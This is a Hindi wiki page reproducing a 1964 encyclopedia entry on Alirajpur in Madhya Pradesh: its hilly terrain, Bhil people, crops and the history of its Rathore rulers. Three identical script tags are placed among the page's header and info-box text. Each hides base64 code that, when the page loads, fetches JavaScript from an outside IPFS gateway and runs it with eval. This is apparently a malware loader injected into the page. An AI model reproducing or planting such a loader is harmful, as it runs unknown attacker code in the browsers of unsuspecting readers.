अलिराजपुर

अद्‌भुत भारत की खोज
Bharatkhoj (चर्चा | योगदान) द्वारा परिवर्तित ०८:०६, ३ जून २०१८ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
अलिराजपुर
पुस्तक नाम हिन्दी विश्वकोश खण्ड 1
पृष्ठ संख्या 258
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक श्री विभामुखर्जी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


अलिराजपुर मध्यप्रदेश के झाबुआ जिले की एक तहसील है। पहले यह मध्यभारत के दक्षिण एजेंसी में मध्यभारत का एक राज्य था। उसके पहले यह झील या भोपावर एजेंसी का एक देशी राज्य था। उस समय इसका क्षेत्रफल 836 वर्ग मील था।

अलिराजपुर एक पहाड़ी प्रदेश है तथा यहाँ के आदिवासी 'भील' नाम से पुकारे जाते हैं। इसका अधिकतर भाग जंगल से ढका है और बाजरा तथा मक्का के अतिरिक्त विशेष रूप से और कुछ पैदा नहीं होता। अलिराजपुर नगर पहले अलिराजपुर राज्य की राजधानी था, परंतु इस समय झाबुआ जिले का प्रधान नगर है। 22° 11¢ उ.अ. तथा 74° 24¢ पू.दे. पर यह स्थित है। यहाँ नगर पालिका (म्यूनिसिपैलिटी) है।

इस नगर के पुराने इतिहास का ठीक पता नहीं चलता और कब किसके द्वारा यह स्थापित हुआ है इसका कोई प्रामाणिक उल्लेख कहीं नहीं मिलता है। पहाड़ों तथा जंगलों से घिरा होने के कारण इसपर आक्रमण कम हुए और इसलिए मराठों ने जब मालवा पर आक्रमण किया तब इसपर कोई विशेष प्रभाव नहीं पड़ा। अंग्रेजों के अधीनस्थ होने के पूर्व मालवा के राणा प्रतापसिंह अलिराजपुर के प्रधान थे। इनके देहाँत के पश्चात्‌ मुसाफिर नामक इनके एक विश्वासी नौकर ने राज्य को संभाला तथा प्रतापसिंह के मरणोत्तर उत्पन्न पुत्र यशवंत सिंह को सिंहासन पर बैठाया गया। यशवंतसिंह का सन्‌ 1862 में देहाँत हुआ। मरने के पूर्व उन्होंने अपने दो पुत्रों को राज्य बाँट देने का निर्देश दिया; परंतु अंग्रेजों ने आसपास के कुछ प्रधानों से परामर्श करके इनके बड़े पुत्र गंगदेव को संपूर्ण राज्य का मालिक बनाया। गंगदेव योग्य राजा नहीं था और वह ठीक से राज्य नहीं चला सका। कुछ ही दिनों में विद्रोह की भावना प्रज्वलित हुई और अराजकता छा गई। इस कारण अंग्रेज सरकार ने कुछ दिनों के लिए इसे अपने हाथ में ले लिया। गंगदेव के देहाँत के बाद (1871 में) इनके भाई आदि ने इसपर राज्य किया। भारत स्वतंत्र होने के बाद यह राज्य भारतीय गणतंत्र में मिल गया और इस समय मध्यप्रदेश का एक भाग है। अलिराजपुर पर राज्य करनेवाले प्रधान राठौर राजपूतों के वंशज थे और महाराणा पद के अधिकारी थे। इनके सम्मानार्थ पहले नौ तोपों की सलामी दी जाती थी।

अलिराजपुर नगर का सबसे आकर्षक भवन इसका भव्य राजप्रसाद है जो इसके मुख्य बाजार के निकट ही बना है। राज्यव्यवस्था करने वाले अधिकारियों के निवासस्थान भी इसी में हैं।


टीका टिप्पणी और संदर्भ